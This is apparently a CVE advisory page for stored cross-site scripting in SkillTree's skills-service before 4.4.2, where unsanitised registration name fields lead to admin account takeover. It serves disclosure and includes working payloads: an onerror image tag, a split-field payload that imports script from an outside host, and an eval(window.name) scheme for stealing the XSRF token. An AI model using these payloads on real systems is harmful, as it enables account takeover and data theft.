CVE-2026-54694NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
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SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
- CVSS
- 9.6 CRITICAL (v3.1, CNA)CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
- Weakness (CWE)
- CWE-20, CWE-79, CWE-116, CWE-183, CWE-693
- Known exploited
- Not in CISA's KEV catalog
- EPSS (exploitation in the next 30 days)
- Not loaded for this CVE
- Assigned by
- GitHub_M
- NVD analysis
- Deferred
- Record last updated
- Sep 10, 2026
- First seen by InfoSec Signals
- Oct 9, 2026
Affected products
NationalSecurityAgency skills-service nationalsecurityagency:skills_service (from the name) | before 4.4.2 | CNA record |
References
- https://github.com/NationalSecurityAgency/skills-service/security/advisories/GHSA-hqfg-c8wf-w2g8x-refsource-confirm
The CVE record on cve.org NVD's entry
The CVE record is authoritative. Products marked “from the name” were identified from the CNA's free-text names, not a CPE, and are matched less certainly. This product uses the NVD API but is not endorsed or certified by the NVD.